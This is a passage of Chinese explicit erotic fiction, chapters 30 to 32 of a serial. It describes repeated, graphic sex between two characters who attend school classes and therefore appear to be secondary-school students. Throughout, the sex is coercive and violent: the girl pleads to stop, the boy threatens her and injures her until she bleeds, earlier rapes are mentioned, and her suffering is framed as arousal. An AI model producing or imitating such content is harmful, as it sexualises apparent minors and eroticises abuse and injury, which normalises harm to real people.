热门搜索






[都市]纷繁(全)-11

  

30 一夜十次郎高H



仁念慈突然害怕起来,怕自己不够狠,让伊人变成他的弱点。他猛然将女孩的双手压在头顶,俯身压上她的嘴唇,牙齿咬开唇瓣,舌头伸入其中,疯狂地啃噬搅动。伊人被咬得好痛,呜呜地呻吟,想缩手回收推开男孩,却动弹不得。哀乎从鼻中哼出,细碎而压抑:“不……呜……痛……”仁念慈快要把她的手腕给捏断了!

男孩听而不闻,用力将女孩压入软床之中。炙热的唇缓缓下移,到细颈,到前胸,留下斑斑吻痕。嫌伊人的衣服碍事了,终於松开她的手,改而撕扯她身上的绵布衣裙。伊人还未来得及伸手反抗,布帛破裂的声响彻房间。“啊!”她吓了一跳,虽然碎裂的只是衣服,但还是挺害怕。身上的衣服是仁念慈新为她买的,不值钱的超市货,但才穿了没两天,就落得这个下场,他可真狠!

“求、求你……慢一点,我怕……”伊人颤抖地祈求,突然想起在媒体上看过的那些先奸後杀的案件。很荒唐,可她觉得现在的仁念慈颇具当杀人犯的潜质。

明明长著一张帅脸,但眼中透出的杀气,凌厉得让人发寒。她不过是他的一个床伴,不用这样恨她吧!

也许是女孩的哀求发挥作用,仁念慈停止啃咬她的胸部,抬起头,眼神柔化下来,咧嘴笑道:“你怕什麽?怕我把你做死?放心吧,我还没有那个本事。”

伊人顿时哭笑不得,垮著脸,眨眼间有泪流出。

仁念慈心头一刺,凶道:“哭什麽?还没拿你怎麽样呢!”

以前觉得仁咏慈很凶,做爱的时候不懂温柔,把她弄得好痛苦。不比不知道,仁念慈才更可怕!他不爱她,所以一点点爱怜都没有,也许他不高兴了,真的会杀了她。

真的好傻,离开咏慈少爷,跑来跟著这个恶魔,图什麽啊?伊人勉强地扬起唇角,轻颤道:“我会乖乖的,你轻一点好吗?”不久之前两次被强奸的经历她还记忆深刻,要是仁念慈次次都那麽疯狂,她可吃不消。

男孩半晌没有表情,然後慢慢抬起身体,俯视伊人,笑道:“我以为你更喜欢粗暴一些的。”

“我哪有……”伊人感觉血往脸上涌去。

“是麽?”男孩缓慢地压下,脸悬在女孩上方,绽开灿烂的笑容,“我上你的时候,越是激烈,你就叫得越欢畅,我以为你喜欢这样的。”凉凉的语调,把女孩的尊严全部击碎。

伊人惨然地问:“我在你眼里,就是荡妇吧?”

仁念慈但笑不语。

伊人放软身体,破罐破摔了。“你想怎麽来就怎麽来吧,我不再说什麽。”

仁念慈说得没有错,暴虐般的性爱确实可以给她更多快感,即使嘴上不承认,她的身体什麽都清楚。

“想开了?”男孩挑眉露出坏笑。

“想开了。”和仁念慈这种人在一起,就别想做好女孩,再说她也不配。

“能伸能屈,很好。”

仁念慈俯身,在伊人脸上轻轻一吻,大手覆盖翘起的乳房,缓慢而有力地揉捏。女孩不自觉地溢出呻吟,比方才更加柔媚,男孩听了,心也跟著发痒。伊人资质很好,脸蛋、身材、嗓音都不错。如果她肯放下架子,学几招呼狐媚的小把戏,保证能叫男人服贴得把心奉上。不过仁念慈还是喜欢比较原始纯真的女孩,生涩、质朴、有趣,而且有调教的空间。还有什麽事,比让一个纯情的处女在自己手中一步步腐化成婊子更好玩呢?

伊人不是处女,不过羞涩的反应比处女强不了多少,所以仁念慈才喜欢招惹她。娇嫩身体,每碰一次,都会微微颤抖;皮肤细腻滑润,在做爱时会透出薄薄的一层汗珠,可爱又性感。仁念慈喜欢抚摸伊人的手感,於是放肆地在她身上摸来摸去,专挑女孩的敏感地带徘徊。

“不……别碰那……啊……”伊人拧眉哀叫,痒了也无处躲藏。仁念慈居然分开她的大腿,在内侧最细腻的皮肤上舔吮。牙齿咬过每一寸肌肤,留下片片齿印,白肉上绽开朵朵红色的小花,像是调皮孩子的信手涂鸦。

太羞耻了!伊人呜呜地哭出声,她的大腿根最碰不得了,痛痒得难以忍受!

身体产生反应,从小穴里涌出一股淫水,私处才剔过毛,花瓣上挂著晶莹的水珠,一目了然。仁念慈抬眼见了,阴笑地说:“看吧,你天生就适合干这个。”做男人的宠物,用稚嫩的肉体,换取性爱的快乐。

伊人想反驳,又找不到借口,她被他撩拨得欲火焚烧,恨不得开口求他快点插进来。可这个男孩本生恶劣,就喜欢看她出丑丢人的样子,她不想叫他得逞,咬牙硬挺著。蜜穴里流出的水更多了,穴口颤动著吐出股股淫水,将身下的床单弄得湿腻不堪。仁念慈伸长食指插入小穴,感到里面溢满了水,温热的,略有一点粘稠,散发著女孩特有的味道,说不上香,但很诱人。

他低哑地问:“想要吗?”

伊人哼道:“受不了的人是你吧?”其实仁念慈的分身早就硬了,可他每次都搞得像是她饥渴难耐,求他上了她似的。明明是两个人都有分,都想要对方,她才不要说是她想得不得了。

男孩嘴角扬高,又伸入一根指头,轻语道:“你又嘴硬了。”两指分开,将穴口撑大。里面的淫水不受控制地涌出来,女孩的屁股都沾上水。明明都不行了,干嘛总和他斗气呢?也许伊人好玩的地方就在於此,看她开始死撑著可怜的傲气不肯服输,但最终都会被他挑拨得丢盔弃甲,这种渐变的过程其乐无穷,充分满足了一个男人的虚荣心。

“快点,说:”我想要了,请念慈少爷插进来吧!‘“以前听伊人咏慈少爷咏慈少爷叫得好顺口,他也想听她叫他的名字。

伊人咬牙不肯说。仁念慈便伸手第三根手指,在里面狠狠地刮。娇嫩穴肉禁不起粗粝指甲的折磨,细微的划伤都会引发巨大的疼痛。女孩哀叫:“不要,好疼啊!”

“说还是不说?”仁念慈用指甲竖立地戳在阴道内壁上。

“求你,放手,快点进来吧!”比起手指,她宁可被粗南傍国插,至少不会那麽疼。

男孩阴恻恻地笑:“你乖点多好,也省得受苦。”说著,将女孩的在腿叠在她的腹部,摆出实验台上被解剖的青蛙般的姿势。干净无毛的下体,肉缝看得一清二楚,仁念慈挺起腰,龟头对准肉缝,用力地捅进去。

“啊啊啊!”伊人仰头尖叫,那像声音仿佛是被男人一刀切开了身体。小穴撑得好大,里面盈满淫水,却被肉棒堵著不能一次排光,只得通过缝隙慢慢渗透到外面。伊人可以感觉得到粗硕的圆头在撕开她体内的每一寸肌肤,肆意地冲到子宫的底部。全根没入之後,男孩停了片刻,身下的女孩浑身战栗,通过性器,还有接触的肢体传达至他的身上。

仁念慈笑问:“很爽吗?”

伊人眼角挤出泪花,“很痛!”他太大了,就算小穴润滑充分,也不能减少多少痛苦。

“忍著点吧,你必须得习惯我的粗度。”男孩笑得好不得意。紧窄的女体初进入时,所有壁肉都缩在一起,蠕动著想要将粗茎推挤出去。慢慢地,肌肉放松下来,弹性地收缩依旧,但已不再排斥。爱液分泌得更发旺盛,在子宫深处被高压逼迫著向外涌动。仁念慈看得出伊人的变化,伸手在结合处抹起几丝淫水,移至女孩唇边,低哑地说:“看到没有,这可是你下面那张小嘴吐出来的东西。”

慢慢地拨开唇瓣,将指头送进去,“尝尝味道如何?是不是很甜?”

一点都不甜!伊人不想吃自己的分泌液,可是仁念慈故意用手指在她口腔里搅动。颚肉受到刺激,唾液又开始分泌,搅动中,根根银丝从女孩口中流下,看起来很好笑,却又很性感。伊人懊恼得想要咬断仁念慈的手指,可她还是胆小,含糊地说:“不要这样……”

“可怜的小女孩!”仁念慈低头吻住她,将混著淫水的唾液都吸到他自己的嘴巴里,像是在喝果汁。亲吻变得汁液横流,标示这场性爱从开始就不平淡。

“呜……”伊人用鼻子拼命地呼吸,没有男孩那般投入。过了好久,仁念慈抬高上身,擦一下嘴角的水迹,说:“开动喽!”不给女孩反应的时间,阴茎倏然撤出女体。

“呀!”伊人一震,然後那粗茎又马上捅回来。“啊……啊……啊啊……啊啊……”吟叫伴著抽送的节奏在屋内回响,声声妖媚。伊人不像她表现得那样不堪承受,她的小穴虽窄,但弹力十足,再大的东西放进去,疼一疼,也都可以吞下。比如仁家兄弟的肉棒,粗是很粗,但是她照样吃得十分开心。

“呜……慢一点啊……”大腿分开搭在男孩的肩头上,随他每次地插入,纤巧的小脚就在空中飞舞。腿根好疼,肚子也被挤得很疼,小穴那里更不要提,被那麽粗大的东西戳来戳去,她都快被插坏了。“不……不要……啊啊……痛啊……”伊人毫无保留地叫出自己感受,却不知道自己这副样子,在仁念慈的眼中,就等於是做得还不够彻底。如果真被榨干最後一滴汗水,那麽她连叫都叫不出来了!

仁念慈不理伊人的哭叫,依照自己的频率,故我地抽动。他每一次都很用力,发泄般地将阴茎狠狠插入阴道中,弄得女孩嗷嗷大叫,他听她叫便会兴奋。撤出时也毫不留性,猛然退出,只留很短的一截在里面,有时也会全部掉出去,然後那重新挤入的过程又是一次折磨。如此反复地进出、进出、进进出出、偶尔短些慢些,但更多时候,都是用尽全力贯彻到底,顶到女孩的身体都要飞出去。

“啊啊!”伊人又是一声惨叫,冲入的力道震得她身体直抖。後背在床面上来回地摩擦,再柔软的布料,蹭的次数多了,也会把皮肤擦红。只是伊人现在体会不到那些细小的痛楚了。有仁念慈的阴茎插在体内,她感觉不到别的刺激。

身体就像是漂浮在海面上的一叶小舟,被抛弃在暴风雨夜之中,失去所有依靠,只能被黑暗的海水卷入狂流,甚至被拉入深渊不得脱困。仁念慈天赋异禀,性欲超级旺盛,把女孩压在身下抽送好久,力度依然持续很大。

伊人叫声渐哑,体内的疼痛和快感混在一块,也说不清是啥滋味。好像仁念慈是比他哥哥要厉害一点,体力更为出色。他有力气不停地插,越插越快,她就得适应他的节奏,就算小穴发红发肿,也得全数吞下。

“求你……啊……不要了……不……啊……啊啊!”哀求也没有用处,可若是不说点什麽,她会被干得疯掉。怎麽会有这般强势的男人?填满她的身体,撑大到极点,不停地注入力量,不管她能不能承受。小穴痛得像要裂开,却还能源源不断地泌出津汁,润滑著已经不成样子的阴道,起到丝微减痛的作用。

仁念慈望著身下累得满身汗腻的小人,心想他自己也不会比她整齐多少。人做爱快到高潮的时候都会表情变形,多美的人也扭曲得没有了人样。伊人占尽优势,生得纯稚,惹人怜惜,所以她的小脸再抽搐,也还是张漂亮的脸。张著微肿的嘴唇,哀哀地叫个不停,听了让人欲罢不能。

男孩放纵欲望,渐渐也感觉到力体不济,是时候让自己爬上最後的高峰了。

精瘦的身躯紧绷著,突然爆发出一股蛮力,奋力地挺入到小穴中,竟然比之前还要更快,快到让伊人以为自己在抽搐。

“啊啊,不要……不行……我、我要死了……啊啊……”女孩还能叫出声,就证明她精神得很,不但死不了,还被人带著上天堂。眼前一片星光灿烂,五彩缤纷的彩条四散飞舞,显然已经走到濒临昏厥的边缘。

仁念慈使出最後的力气,在女孩的小穴中急速抽送,每一次都大力地顶到底部,高压将内部积存的水液挤得直往外喷。两人的吟叫,肉体的拍击,还有啧啧水声在屋内混合回荡,热闹得分不清来源,好像整个房间里,有无数的人在同时做这羞人又快活的极乐兴事!

男孩最後一次挺进甬道,把女孩撞得向上移了好几寸。“啊啊啊!”伊人发出嘶哑的哀鸣,脑袋里面嗡嗡直响。体内的粗棒喷射出炙热种子,一跳一跳地,射个不停,好久好久,射出好多精液。

伊人啊啊地哼几声,最後一动不动。两人终於消停下来,喘著粗气恢复体力。

和仁念慈做爱也没有那麽可怕,他再凶再狠,也没对她用过暴力。不过就是累一点,满足了他的欲望,她也可以得到安身之地,两人互利互惠,谁也不吃亏。

伊人在半昏迷中,还在自我安慰,她这样做是最好的选择,没有多少损失。

可是男孩的恢复力超过伊人的想象,也就是十来分锺,仁念慈就撑起身体,对著她阴笑。他拨动她散乱的发丝,问:“感觉还不错吧?”

“嗯……”女孩无力地哼。

“那再多做几次吧!”

“哎?”伊人紧闭的眼睛突然掀开。仁念慈突然从她里面撤出来,但那感觉很不对,不是软软的一根,而是硬硬的一根,上面挂著白浊的体液,雄赳赳地立在她面前。伊人颤动嘴唇,“你不会……这麽快……”

“我体力好,是你的福气!”仁念慈笑得像头狼。

以前和伊人做过两三次的样子,都在很匆忙的情况下草草结束,以至於这小丫头到现在都还不知道:他仁念慈要是发起狠来,一夜间做个十次八次,都没有问题!

31 小穴被插烂高H

伊人累得连手指都懒得动,哀叹道:“你放过我吧……”

“现在还很早,连午夜都没到呢,还是说,你明天想早早起床去上学?”

“上学?”伊人这才想起来,明天又是周一,她要用什麽面目去见仁咏慈啊?

胸前传来牙齿的触感,仁念慈又在啃咬她的乳房了。原本不大的两团软肉,现在已经被咬得红肿起来,若现在叫她穿平时的胸衣,肯定套不进去。然而伊人却不会为了胸部增长而高兴,自己的身体已经被蹂躏成这个样子,她还有体育课要上呢,怎麽换衣服啊!

仁念慈吸著女孩的乳尖,含糊地说:“对啊,难道你因为被赶出来,就不再去学校了?那也太没道理了。”

“可是……啊……”肿胀的乳房异常敏感,舌头那麽柔软的东西,都让她觉得疼痛。伊人强打精神地说:“你别在胸口咬,我明天有游泳课啊……”现在说已经晚了,她的脖子、前胸、大腿等处都已经布满了吻迹,即使不照镜子也知道那些地方必定万分精彩!

“原来如此。”仁念慈淡笑道:“我这人很好说话。既然你不想让外露的肤色变得太鲜豔,那我只舔看不到的皮肤了!”比如说腹部,穿连体式泳衣时,那里是看不到的。

伊人懊恼道:“你要是继续做的话,就算再小心也会留下痕迹的!”

“已经有很多了。”男孩点点女孩的大腿根,说:“这里,就有好大一块呢。”

是他在高潮时,收不住力道,用手捏出来的。“还有这里、这里、这里……”片片淤青全点过一遍,也要用不少时间呢。

“少一点是一点啦!不然我明天不去学校了!”伊人首次说出要逃课的话,自己也一惊。身为优等生的她,仅剩的自豪之处就是漂亮的成绩单。如果连学校也放弃,那她真是两手空空,连生存的意义都没有了。

仁念慈的吻已经移到肚脐,舌头在可爱的小凹坑里舔食,发出啧啧声响。这里不是伊人最敏感的地方,还能忍著不叫出来,却也相当难受了。再差一点距离就到私处,如果他碰到她的花瓣,以现在的身体状况来看,她铁定禁受不住,又会沦陷在男孩的淫威之下。

“求你,今天到这里吧……不然等我上完游泳课,再补给你好吗?”

仁念慈顿了顿,抬起头,蓝色的眼睛闪出幽光,咧嘴问道:“这可是你说的?”

“我保证!”伊人不想旷课,也不愿意挂著一身伤痕去学校,叫别的女生看到。虽然以前上游泳课时,她露在外面的肢体也有吻痕,但是仁咏慈都会比较收敛,没有弄到仁念慈这样凄惨的程度。就算是堕落,伊人也希望自己能看起来干净一些。

仁念慈思考著要不要给女孩点面子,最後很为难地说:“可是我的肉棒已经硬了,难道要它自己慢慢软下去吗?这样很难受唉……”

“我帮你舔!我的技术很好的,这你知道!”伊人曾经在洗手间里为仁念慈口交过,这件事过去没多久,谁也不会忘。

“哦!”男孩戏谑道:“那样的技术,你觉得自己是高手麽?”

伊人红著脸说:“做得多的话,总会有进步的。”因为後来她又为咏慈少爷做过几回,人总是在不断的实践中学习提高,不是麽?把自己的姿态摆得不能再低,娇声求了几次,仁念慈终於点头答应。女孩双手微抖,小心捧地捧起男孩的肉棒,润泽的粉唇张开,慢慢地含住粗大圆头。仁念慈哼了一声,眯起眼睛享受女孩的服务。小小的嘴巴努力张到最大,一点点地将阴茎吞入,舌头舔在男根侧壁,用唾液将它濡湿。

“很好……”仁念慈喟叹,这小丫头确实有进步,看来哥哥的调教也不是一无是处。

小舌头努力伸长,在口腔内绕著肉棒打转;两只手也没有闲著,轻柔地按压睾丸,以及没办法吞下的阴茎根部;喉咙深处被龟头顶得相当痛苦,从里面涌出许多唾液,将整个根阳具都浸泡在温暖的液体之中,比泡温泉还有更舒服。多重刺激之下,男孩的巨物似乎又有膨胀的趋势,将女孩的嘴唇撑得又酸又痛,有种被撕裂的感觉。她没办说话,只能从鼻子里哼出哀戚的喘息。

仁念慈还想要更加舒服,於是命令道:“动起来啊,光含著有什麽用?”

“嗯……呜……”伊人眨眨眼睛,然後头部往後撤。阴茎出来一小截,龙首对喉咙的压迫也小了些,她还没来得及松口气,从唇瓣的边缘流下几丝津液,有的滴到地上,有的滑到她的身上。好丢人,又不是吃什麽美食,居然吹箫吹得唾液横流。伊人以为仁念慈正在享受,没有看到,可是耳边又传来凉凉地声音,“原来你这麽馋嘴,我的肉棒也可以吸得很香?”

女孩听了差点没把嘴里的东西一口咬断。她赶吐出阴茎,边咳边擦眼泪,唾液滴到床单上,嘴边挂著几道银丝,一直绵延到胸口上面。

仁念慈笑问:“呛著了?”

“你不要……咳……乱说话……很危险……咳咳……”要是伊人真的咬到仁念慈的性器,他不就成了残废?这种後果她可承担不起!

男孩阴恻恻地说:“你不敢,要是你敢伤了我,我保证让你生不如死!”说老实话,他其实也有点怕,虽然伊人的下颚没什麽力度,但真被咬一口,不断掉也是重伤。伊人被吓住,眼泪簌簌地往下掉。她是讨厌仁念慈,可也没想要害他啊。

淫靡的气氛破坏,仁念慈有点生气,可是分身还肿著,不想点办法叫它消停下去,晚上睡觉会不舒坦。“切,你说技术好,结果还不是烂得要死。算了,我就不该可怜你!”男孩说著,伸出双手,将女孩拉到自己身边。娇小的酮体在他手上就像摆弄玩偶那样,迫使女孩面部朝下趴在床上,屁股却翘得高高,私处的美景一览无余。

“你……你要怎样……”伊人抽息著问。

“就这样,用你的身体泄欲就好。”仁念慈笑得残酷,从背面慢慢地将阴茎挤入甬道中。

“呜……”女孩哼声,肿得发紫的阴户被巨物拨到两边,然後慢慢地撑大,这感觉比刚做的时候强烈一百倍!又痛又麻,还伴著丝丝微微的快感。“啊…

…慢一点……求你……“自知今天晚上少不了又要承受几次性爱,伊人只好祈求将伤害减少到最小范围。希望身上少些红紫的斑痕,至於阴道那里,反正穿泳衣时也露不出来,肿就肿吧……

仁念慈的阴茎很粗,勃起多时未能释放,已然变成深红近紫的颜色,再加上带些怒气,插到女孩的体内,差点没把她撕碎了。因为不久这前才做过一回,所以甬道里还有许多淫水和精液的混合物,要动起来并不费力。仁念慈不想叫伊人好过,每一次挺入都用尽全力,顶得女孩不断地前往。

“啊……啊……啊啊……”伊人疼得尖叫,四肢抓著床单,还是不能减缓身後的强力攻击。那麽粗的东西,在她脆弱的阴道里横冲直撞,就算是肉做的,戳得太狠,也会有擦伤。伊人觉得自己的肚子都被捣烂了,不只是性器内部,还有挨著子宫和阴道的那些器官,都受到压迫力,一下一下地撞击,仿佛都被挤得移位变形。

“不……不要了……啊……会坏掉的……啊!”身体被推到床头,又是一个大力地挺入,女孩的头顶到墙壁上,发出咚地响声,“痛……”伊人悲切的哀鸣根本就传不到男孩的耳朵里,他就算听见,也当作没有听到。胯部後撤,将粗茎从窄穴中撤出一半,然後再一鼓作气地顶进去。“不!”女孩已经到了极限,屁股後面全都被拍红了,私处也肿得不堪入目,甚至有血丝渗出,可就算这样,仁念慈也不打算尽快停下。卧室里回响著各色杂音,女孩凄凉的叫声,啧啧水声,床摇声……混在一起,听了令人淫乱入迷。堕落之後,就别想再回到纯情的时刻,因为情欲的滋味如同鸦片,尝过便永远忘不掉。

“不行了……停下……啊……小穴……啊……被插烂了……啊……”伊人用尽最後的力气,双手抵著床头的铁栏,这样才避免头部被撞晕。仁念慈狂疯地挺入幽穴,带出大股大股淫水。女孩的大腿根全都湿了,从阴道缝隙里流出的水不再清澈,而是混著血色,形成淡粉色的细流,染脏了半张床单。

做爱做到这种程度,能坚持下来的绝非凡人。伊人从青涩的处女,被仁家兄弟先後调教。肉体渐渐适应这样高强度的性爱,所以就算做得次数再多,也能保证自己不会晕倒。或者说,她想晕,也没有办法晕去过。敏感的肉穴被粗硕的肉棒一遍遍地刮过,那种全然纯粹的快感,是在别处找不到的。就算她吃再好吃的东西,看再好看的电影,读世界名著,成绩考到一百分,那样的快乐,也不过持续几分锺就淡下去。可是做爱的时候不一样,只要肉棒还在肚子里,还在一次次地贯穿整个阴道,那她就可以一直在高潮中不会跌落,而且越爬越高。

“啊啊啊!”伊人尖利地高叫。男孩抽送的速度不能再快,臀部拍击的声音连在一起,频率高得分不清间隔。皮肤渗出层层汗珠,都在律动中甩到空中,两人湿淋淋地贴在一起,腰扭得快要断掉。“不不不……我不要了……拜托……不行了……会死……啊啊啊!”

女孩不断求饶,大大的提升了仁念慈的快感。这样才有意思,嘴上说受不了,可是小穴还在吸著他的分身,想要得到更多的刺激。於是他听从於自己的欲望,更卖力地插烂女孩的小穴。

两人通过对方的肉体得到充分满足,时间之久,是普通成年男女不能想象的。

抽送走到尽头,仁念慈突然顿住,再也没力气多进一步,只好停在甬道中央,从龟头的小口里喷射出灼热的精液,烫得女孩的阴道微微抽搐。

“啊……哈……哈……哈……”伊人颓然地趴卧著,鼻子有进气没出气。

两个人躺了许久都没再动一下,就这样睡过去,直到第二天天亮才醒。伊人被窗外的阳光刺得睁开眼睛,感觉到沈重的压力,这才发现自己竟然被仁念慈压著睡了一夜。四肢麻得无法动弹,她只得开口求道:“你能不能让开啊……哦!”

胳膊和腿都不是自己的了。

仁念慈被吵醒,移了下手臂,就听到身下的女孩哀哀地叫,“断了断了…

…“他一惊,撑著身体坐起来,松软的阴茎从女体内滑出,在内部积存几个小时的精液被蠕动的肉壁挤到穴外。他检查了伊人的手脚,都没有断,只是因为压迫太久,暂时不能自由移动。

男孩笑笑,拍在女孩的屁股上,啪地一响,“没事,待会就好了。”视线注意到女孩两条细长的大腿,内侧挂著红红白白的颜色,他又问道:“你来月经了麽?”

“什麽?”伊人猛然起身,又倒了下去,她也记不清周期的日子了,好像上次来过之後,并没有过得太久。穴道里有水在流,那感觉和月经差不多,所以她以为是真的来了。使出吃奶的力气爬起来,低头看分开的大腿,又发现血量少很多,只有一点点,应该不是经血,而是阴道受伤的证明。女孩抱怨:“你把我弄伤了!”

“真的?我看看。”仁念慈凑近,将伊人压倒,要检查她的花户。

“不要,别看啊!”女孩挣扎著想起身,可是虚弱的身体又怎麽能敌得过仁念慈。就这样,她又变成了实验室的青蛙,岔开大腿,叫男孩看最羞耻的部位。

“好像是挺红的,但是找不到大伤口,应该没有大碍。你很疼吗?”仁念慈用手拨开肿胀的花瓣,借著阳光只能看到洞内很浅的位置。

伊人咕哝道:“只要被插都会疼,我分不出来……”

“那就是没事。真的撕开了,你就不只流这麽点血了。”仁念慈说得云淡风轻。

伊人问:“你有没有把女孩撕裂过?”

“有!”男孩笑得诡异。这可不是谁都能做到的,把女孩的下体弄坏了,却还能不当回事地讲出来,甚至觉得有趣。

伊人想,自己没有被仁念慈整死,真是一个奇迹!

32 课前做一次中H

夜里做得那麽激烈,到第二天早上险些没能及时起床。伊人睁开眼睛,已经是七点二十了。她惊地坐起,不顾满身酸痛,只用了十分锺就洗好脸,换上衣服。

仁念慈比她还快,出来时,那家夥正从冰箱里拿出一袋面包。两个人下楼到小区外面,正好有出租车经过,坐上之後把面包分著吃了,赶到学校时还差三分锺上课。仁念慈拉著伊人往教室跑,边笑边说:“时间掐得真准!”

两人踩著铃声进教室,伊人低头回到座位,暗自庆幸没有迟到,但又觉得有很多视线投在自己身上。她掀起眼皮一看,果然有好多同学回头望自己这边。她和仁念慈同时进来,有什麽值得大惊小怪的?

数学老师陆灏笑著说:“已经上课了,大家都看前面!”於是那些同学转身去看老师。

伊人微窘,翻开书跟上老师讲课的内容。这一节课倒没有受什麽干扰,下课後老师离开,同学又开始偷偷看伊人,也许同时也在看仁念慈。那些窥视的目光令伊人不舒服,但她不能说叫他们不要乱看的话,只能默默地忍。

仁念慈比伊人自在好多,还和几个说得上话的男生聊天。但是伊人不敢回头看他,整个上午都直直坐在椅子上,目不转睛地盯著前方,就连厕所也没有去。

上午最後一节课结束,老师离开教室,学生纷纷出去吃饭。

伊人感觉有人轻拍她的肩,慢慢扭回身,看到仁念慈对自己笑,唇角是弯的,但眼中的笑意并不浓。“去餐厅吃饭吧。”他扬眉说。

女孩摇头,说:“我去买包饼干就好。”

“你有钱吗?”

“呃……”世上没有比这更尴尬的事情了。伊人咬著嘴唇,都快哭出来了。

仁念慈摸摸她的头,笑道:“跟我去吃饭。”伊人只得听他的,觉得自己比妓女还不如!一点本事都没有,像条狗似地被人牵著到处走。

仁念慈以前很少去高级餐厅吃饭,今天带伊人去,八成是为了气仁咏慈。他们进去,看到坐在靠窗的一桌,仁咏慈正和他班上的两个女生一块吃东西。见到伊人和仁念慈,他马上转移视线,根本就不看他们。伊人垂下头,心就像被无形的手紧紧抓著不放,闷得透不过气。仁念慈倒很高兴,他喜欢看哥哥僵硬的表情,明明很在意,却又装做看不到,那别扭的神态非常有趣。

“走,我们到那边去。”仁念慈指著和仁咏慈相对的一桌,带伊人过去。坐下点餐,请服务生快点上菜。仁咏慈身边的两个女生偷偷瞄著伊人,在她和仁家兄弟三人之间看来看去。其中一个胆子大的问道:“咏慈,周三晚上你有空吧?

咱们去看电影吧。最近有一部新电影我很想看。“

仁咏慈懒懒地问:“什麽电影?”

女生说了名字,又说那电影很多看过的人都说好。之所以订在周三,因为那天是她的生日。仁咏慈点头答应,吃完盘子里的菜,带著两个女生离开。

伊人直到他们走了,才抬起头,回身望著仁咏慈刚才坐的那桌,服务生正在收拾碗盘。很快又有另外一个服务生出来,送上仁念慈点的菜。男孩说了声谢谢,对伊人说:“快点吃。”伊人拿起餐具,却没有胃口。仁念慈不看也知道她是什麽表情,戏谑道:“没想到麽?他这麽快又换了别的女人。”

女孩继续沈默,周身像是笼了一团黑云。仁念慈有点烦,於是用恶劣地语气说:“行了,你就算出门投湖自杀,他也不会心疼的!这世上谁离了谁活不下去,何况仁咏慈从来不缺女人。”他说的一点没错,所以伊人更伤心。明明是她先背叛仁咏慈的,可是看到他转身就走向别人,她又觉得自己也被背叛了。这滋味,真比吞苍蝇还要让人郁闷!

中午饭吃得沈闷无比,好在仁念慈後来没再说什麽。低头把东西吃完,他问伊人:“你饱了没有?”女孩早就吃不下去了,松口气,不用再装模作样。

伊人跟著仁念慈走出餐厅,沿小路回教学楼。可是走到一半,他又突然转个弯。伊人停下,不知道怎麽回事,便朝著教室的方向走,刚迈出两步,手臂被仁念慈抓住。他笑盈盈地问:“你要去哪?”

“回教室。”

“离上课还早著呢,我们去别的地方玩。”

男孩的话令伊人感觉不安,想拒绝,又无法挣脱手上的桎梏,终於被拖到学校後面的小楼。伊人来过这里,并曾经在上面的一个房间里和仁咏慈翻云覆雨。

她被拽著上三楼之後,就明白这次行程的目的地大概又是那个学生的私人俱乐部。

果然,仁念慈停在伊人熟悉的房间前,掏出钥匙打开门。

伊人好奇地问:“你怎麽有这里的钥匙?”她以为这是仁咏慈和朋友聚会的地方。至於仁念慈,他显然和哥哥不和,应该和学校里那些贵族少年不是一夥的。

仁念慈淡笑地回答:“俱乐部嘛,只要条件差不多的人,都可以得到钥匙。

这个是韩笑笑给我的。“

“哦。”伊人嗯一声,不知道要说什麽了。她被男孩推进去,坐在沙发上面,心里有点不安,手脚放在哪里都不自然。感觉到右边的沙发沈下去,仁念慈坐了下来,伊人斜睇他一眼,说道:“这个地方,都没有人会来……”

“有人来,不过多数时是没人用的。”男孩说著笑起来,“这里啊,真正用来办正事的机会一年都没有一两次。”

伊人心里明白,除了她,恐怕还有很多人借这屋子做过那种事情。

仁念慈问:“你来过这里吧?”

女孩点了下头。

“那我就不客气了。”说著,长臂伸到女孩左边肩头,揽著她的身体,使她倒在自己怀里。

“呜……”伊人来不及呼叫,嘴巴便被堵住。仁念慈的唇很热,烫到她的唇瓣,不自觉地微微发抖。若说是害怕,也不至於,毕竟她不是第一次和他做了,没有可怕到肉血模糊的地步。

密密实实地吻著,舌头勾缠纠结,搅动口中津液,混合在一起,然後被两人分食入腹。伊人不算被动的表现令仁念慈略微吃惊,结束长吻之後,微笑问她:“今天不躲我了?”

女孩反问:“躲你有用麽?”

“没用。”

“所以我也懒得躲,你想要,那就要吧。”

见伊人这样配合,仁念慈觉得少了些征服的乐趣,撅著嘴说:“哎,你也稍微反抗一下吧。”

女孩噗嗤一笑,说:“你不要碰我啊。”

男孩马上扑向她,将她压在身子低下。女孩象征性地挣扎几下,突然尖叫一声,两个人都掉到沙发下的地毯上。伊人被压得够呛,在底下哀戚地哼。仁念慈翻身到旁边,坐起来看她,问道:“摔到哪儿了?”

女孩指自己的胸口说:“这里被撞了。”因为男孩落地时拿她当成肉垫了。

仁念慈略带宠溺地笑,大手掀起伊人的校服上衣,看到右边乳房下面的皮肤是有些红。他在上面按了几下,问她是否很疼。女孩点点头,然後他再换个地方试几下,确定并没有伤到骨头,过一会儿就会好。

伊人斜斜地躺著,衣衫撩起,胸腿尽露,那样子说不出地诱人。仁念慈没有那麽多耐心等她好透,抓起女孩的一条大腿,横向拉大,看到里面穿的淡蓝色小内裤,坏笑道:“我该说你是天性淫荡吗?还没怎麽动你呢,这里已经湿了。”

“哪有!”伊人的小脸更红了。才被仁念慈轻轻撩拨几下,私处便分泌出少量的蜜汁,自己这个身体直是越来越淫乱了。

“别嘴硬了。”男孩微笑著用手指拨开内裤边缘,摸索著找到翕张的小穴,插进去,沾到微粘的液体,搅动几下,再撤出来。他低头嗅了下手指,闻到浓浓的发情味道,讥诮道:“证据在这摆著,你不认也不行。”

伊人咧嘴道:“我认了,我很闷骚,你满意了?”

“嗯,还是这样比较好玩。我喜欢把你伪装的面具撕碎。”要是伊人太主动了,他会丧失追逐乐趣,可若是她太冷感,那样做起来又平淡乏味。仁念慈对於性伴侣其实挺挑剔的,不漂亮不行,身材不好不行,软度不够或是阴道不紧都不行,除这些还需要对味儿。这点很难说明,要做了才知道。

伊人就对了仁念慈的味儿!男孩很有兴致地将女孩的裙子撩至腰部以上,再褪下内裤,露出底下粉色的小肉缝。嫩润的肉瓣上挂著晶莹水珠,微微颤抖,从穴口又吐出一股水流,沿著股沟,滴到地毯上。伊人不安地想坐起身,这样弄脏公共空间不好吧?可是她还没起来,又被仁念慈按倒回去,轻声说:“躺著别动。”

“可是弄乱这里……”

“这里会有人收拾的,不需要你操心。”男孩说著,将女孩的腿分得更大。

手指再度探入蜜穴中,模仿做爱的动作来回抽插。

“呜……”伊人自动地弓起身体,想要更深入的刺激。昨夜才经历过性爱,小穴并未完全消肿,不过以她和仁咏慈生活的经历来说,像这样每天做爱是家常便饭之事。

